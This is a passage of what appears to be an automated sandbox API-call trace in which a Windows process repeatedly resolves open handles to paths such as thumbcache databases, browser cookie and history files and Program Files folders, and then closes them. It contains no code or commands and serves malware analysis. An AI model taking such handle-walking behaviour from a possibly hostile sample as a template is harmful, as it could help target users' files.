GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0143.060] CloseHandle (hObject=0x13c) returned 1 [0143.061] GetFileType (hFile=0x118) returned 0x1 [0143.061] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0143.062] CloseHandle (hObject=0x118) returned 1 [0143.062] GetFileType (hFile=0x13c) returned 0x1 [0143.062] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0143.064] CloseHandle (hObject=0x13c) returned 1 [0143.064] GetFileType (hFile=0x118) returned 0x1 [0143.064] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0143.065] CloseHandle (hObject=0x118) returned 1 [0143.065] GetFileType (hFile=0x13c) returned 0x1 [0143.065] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat") returned 0x55 [0143.067] CloseHandle (hObject=0x13c) returned 1 [0143.067] GetFileType (hFile=0x118) returned 0x1 [0143.067] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat") returned 0x5f [0143.068] CloseHandle (hObject=0x118) returned 1 [0143.069] GetFileType (hFile=0x13c) returned 0x1 [0143.069] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\wdmaud.drv.mui") returned 0x2c [0143.070] CloseHandle (hObject=0x13c) returned 1 [0143.070] GetFileType (hFile=0x118) returned 0x1 [0143.070] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\MMDevAPI.dll.mui") returned 0x2e [0143.071] CloseHandle (hObject=0x118) returned 1 [0143.071] GetFileType (hFile=0x13c) returned 0x1 [0143.071] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\bthprops.cpl.mui") returned 0x2e [0143.072] CloseHandle (hObject=0x13c) returned 1 [0143.072] GetFileType (hFile=0x118) returned 0x1 [0143.072] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0143.073] CloseHandle (hObject=0x118) returned 1 [0143.073] GetFileType (hFile=0x13c) returned 0x1 [0143.073] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0143.074] CloseHandle (hObject=0x13c) returned 1 [0143.074] GetFileType (hFile=0x118) returned 0x1 [0143.074] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msutb.dll.mui") returned 0x2b [0143.075] CloseHandle (hObject=0x118) returned 1 [0143.075] GetFileType (hFile=0x13c) returned 0x1 [0143.075] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msctf.dll.mui") returned 0x2b [0143.076] CloseHandle (hObject=0x13c) returned 1 [0143.076] GetFileType (hFile=0x118) returned 0x1 [0143.076] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0143.077] CloseHandle (hObject=0x118) returned 1 [0143.077] GetFileType (hFile=0x13c) returned 0x1 [0143.077] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0143.079] CloseHandle (hObject=0x13c) returned 1 [0143.079] GetFileType (hFile=0x118) returned 0x1 [0143.079] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0143.080] CloseHandle (hObject=0x118) returned 1 [0143.080] GetFileType (hFile=0x13c) returned 0x1 [0143.081] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0143.081] CloseHandle (hObject=0x13c) returned 1 [0143.081] GetFileType (hFile=0x118) returned 0x1 [0143.082] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0143.083] CloseHandle (hObject=0x118) returned 1 [0143.083] GetFileType (hFile=0x13c) returned 0x1 [0143.083] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0143.084] CloseHandle (hObject=0x13c) returned 1 [0143.084] GetFileType (hFile=0x118) returned 0x1 [0143.084] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0143.086] CloseHandle (hObject=0x118) returned 1 [0143.086] GetFileType (hFile=0x13c) returned 0x1 [0143.086] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0143.087] CloseHandle (hObject=0x13c) returned 1 [0143.087] GetFileType (hFile=0x118) returned 0x1 [0143.087] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0143.088] CloseHandle (hObject=0x118) returned 1 [0143.088] GetFileType (hFile=0x13c) returned 0x1 [0143.089] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0143.090] CloseHandle (hObject=0x13c) returned 1 [0143.090] GetFileType (hFile=0x118) returned 0x1 [0143.090] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0143.091] CloseHandle (hObject=0x118) returned 1 [0143.091] GetFileType (hFile=0x13c) returned 0x0 [0143.091] CloseHandle (hObject=0x13c) returned 1 [0143.091] GetFileType (hFile=0x118) returned 0x1 [0143.091] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0143.092] CloseHandle (hObject=0x118) returned 1 [0143.092] GetFileType (hFile=0x13c) returned 0x1 [0143.092] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 0x55 [0143.093] CloseHandle (hObject=0x13c) returned 1 [0143.094] GetFileType (hFile=0x118) returned 0x1 [0143.094] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 0x55 [0143.095] CloseHandle (hObject=0x118) returned 1 [0143.095] GetFileType (hFile=0x13c) returned 0x1 [0143.095] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0143.096] CloseHandle (hObject=0x13c) returned 1 [0143.096] GetFileType (hFile=0x118) returned 0x1 [0143.096] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\netshell.dll.mui") returned 0x2e [0143.097] CloseHandle (hObject=0x118) returned 1 [0143.097] GetFileType (hFile=0x13c) returned 0x0 [0143.097] CloseHandle (hObject=0x13c) returned 1 [0143.097] GetFileType (hFile=0x118) returned 0x1 [0143.097] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0143.099] CloseHandle (hObject=0x118) returned 1 [0143.099] GetFileType (hFile=0x13c) returned 0x1 [0143.099] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0143.100] CloseHandle (hObject=0x13c) returned 1 [0143.100] GetFileType (hFile=0x118) returned 0x1 [0143.100] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\KernelBase.dll.mui") returned 0x30 [0143.101] CloseHandle (hObject=0x118) returned 1 [0143.101] GetFileType (hFile=0x13c) returned 0x1 [0143.101] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0143.102] CloseHandle (hObject=0x13c) returned 1 [0143.102] GetFileType (hFile=0x118) returned 0x1 [0143.102] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0143.103] CloseHandle (hObject=0x118) returned 1 [0143.103] GetFileType (hFile=0x13c) returned 0x1 [0143.103] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0143.104] CloseHandle (hObject=0x13c) returned 1 [0143.104] GetFileType (hFile=0x118) returned 0x1 [0143.104] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0143.105] CloseHandle (hObject=0x118) returned 1 [0143.105] GetFileType (hFile=0x13c) returned 0x1 [0143.105] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0143.106] CloseHandle (hObject=0x13c) returned 1 [0143.106] GetFileType (hFile=0x118) returned 0x1 [0143.106] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt") returned 0x4b [0143.107] CloseHandle (hObject=0x118) returned 1 [0143.108] GetFileType (hFile=0x13c) returned 0x1 [0143.108] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0143.109] CloseHandle (hObject=0x13c) returned 1 [0143.109] GetFileType (hFile=0x118) returned 0x1 [0143.109] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0143.110] CloseHandle (hObject=0x118) returned 1 [0143.110] GetFileType (hFile=0x13c) returned 0x1 [0143.110] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0143.112] CloseHandle (hObject=0x13c) returned 1 [0143.112] GetFileType (hFile=0x118) returned 0x1 [0143.112] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0143.113] CloseHandle (hObject=0x118) returned 1 [0143.113] GetFileType (hFile=0x13c) returned 0x1 [0143.113] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0143.114] CloseHandle (hObject=0x13c) returned 1 [0143.114] GetFileType (hFile=0x118) returned 0x1 [0143.115] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0143.116] CloseHandle (hObject=0x118) returned 1 [0143.116] GetFileType (hFile=0x13c) returned 0x1 [0143.116] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0143.117] CloseHandle (hObject=0x13c) returned 1 [0143.117] GetFileType (hFile=0x118) returned 0x1 [0143.117] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0143.118] CloseHandle (hObject=0x118) returned 1 [0143.118] GetFileType (hFile=0x13c) returned 0x1 [0143.118] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\ActionCenter.dll.mui") returned 0x32 [0143.119] CloseHandle (hObject=0x13c) returned 1 [0143.119] GetFileType (hFile=0x118) returned 0x0 [0143.119] CloseHandle (hObject=0x118) returned 1 [0143.120] GetFileType (hFile=0x13c) returned 0x1 [0143.120] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251") returned 0x64 [0143.120] CloseHandle (hObject=0x13c) returned 1 [0143.121] GetFileType (hFile=0x118) returned 0x3 [0143.121] CloseHandle (hObject=0x118) returned 1 [0143.121] GetFileType (hFile=0x13c) returned 0x1 [0143.121] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0143.122] CloseHandle (hObject=0x13c) returned 1 [0143.122] GetFileType (hFile=0x118) returned 0x1 [0143.122] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0143.123] CloseHandle (hObject=0x118) returned 1 [0143.123] GetFileType (hFile=0x13c) returned 0x1 [0143.123] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0143.125] CloseHandle (hObject=0x13c) returned 1 [0143.125] GetFileType (hFile=0x118) returned 0x1 [0143.125] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0143.126] CloseHandle (hObject=0x118) returned 1 [0143.126] GetFileType (hFile=0x13c) returned 0x1 [0143.127] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0143.128] CloseHandle (hObject=0x13c) returned 1 [0143.128] GetFileType (hFile=0x118) returned 0x1 [0143.128] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0143.129] CloseHandle (hObject=0x118) returned 1 [0143.129] GetFileType (hFile=0x13c) returned 0x1 [0143.129] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0143.131] CloseHandle (hObject=0x13c) returned 1 [0143.131] GetFileType (hFile=0x118) returned 0x1 [0143.131] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012020022120200222\\index.dat") returned 0x78 [0143.132] CloseHandle (hObject=0x118) returned 1 [0143.132] GetFileType (hFile=0x13c) returned 0x1 [0143.132] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.133] CloseHandle (hObject=0x13c) returned 1 [0143.133] GetFileType (hFile=0x118) returned 0x1 [0143.133] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0143.133] CloseHandle (hObject=0x118) returned 1 [0143.134] GetFileType (hFile=0x13c) returned 0x1 [0143.134] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.134] CloseHandle (hObject=0x13c) returned 1 [0143.134] GetFileType (hFile=0x118) returned 0x1 [0143.134] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Portable Devices") returned 0x33 [0143.135] CloseHandle (hObject=0x118) returned 1 [0143.135] GetFileType (hFile=0x13c) returned 0x1 [0143.135] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.135] CloseHandle (hObject=0x13c) returned 1 [0143.135] GetFileType (hFile=0x118) returned 0x1 [0143.135] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0143.136] CloseHandle (hObject=0x118) returned 1 [0143.136] GetFileType (hFile=0x13c) returned 0x1 [0143.136] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.136] CloseHandle (hObject=0x13c) returned 1 [0143.136] GetFileType (hFile=0x118) returned 0x1 [0143.136] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Uninstall Information") returned 0x2a [0143.137] CloseHandle (hObject=0x118) returned 1 [0143.137] GetFileType (hFile=0x13c) returned 0x1 [0143.137] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.138] CloseHandle (hObject=0x13c) returned 1 [0143.138] GetFileType (hFile=0x118) returned 0x1 [0143.138] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Uninstall Information") returned 0x2a [0143.138] CloseHandle (hObject=0x118) returned 1 [0143.138] GetFileType (hFile=0x13c) returned 0x1 [0143.138] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.139] CloseHandle (hObject=0x13c) returned 1 [0143.139] GetFileType (hFile=0x118) returned 0x1 [0143.139] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Adobe") returned 0x20 [0143.140] CloseHandle (hObject=0x118) returned 1 [0143.140] GetFileType (hFile=0x13c) returned 0x1 [0143.140] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.140] CloseHandle (hObject=0x13c) returned 1 [0143.140] GetFileType (hFile=0x118) returned 0x1 [0143.140] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Common Files") returned 0x21 [0143.141] CloseHandle (hObject=0x118) returned 1 [0143.141] GetFileType (hFile=0x13c) returned 0x1 [0143.141] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.141] CloseHandle (hObject=0x13c) returned 1 [0143.142] GetFileType (hFile=0x118) returned 0x1 [0143.142] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Synchronization Services") returned 0x37 [0143.142] CloseHandle (hObject=0x118) returned 1 [0143.142] GetFileType (hFile=0x13c) returned 0x1 [0143.142] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.143] CloseHandle (hObject=0x13c) returned 1 [0143.143] GetFileType (hFile=0x118) returned 0x1 [0143.143] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Media Player") returned 0x2f [0143.143] CloseHandle (hObject=0x118) returned 1 [0143.143] GetFileType (hFile=0x13c) returned 0x1 [0143.143] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.144] CloseHandle (hObject=0x13c) returned 1 [0143.144] GetFileType (hFile=0x118) returned 0x1 [0143.144] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0143.145] CloseHandle (hObject=0x118) returned 1 [0143.145] GetFileType (hFile=0x13c) returned 0x1 [0143.145] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: 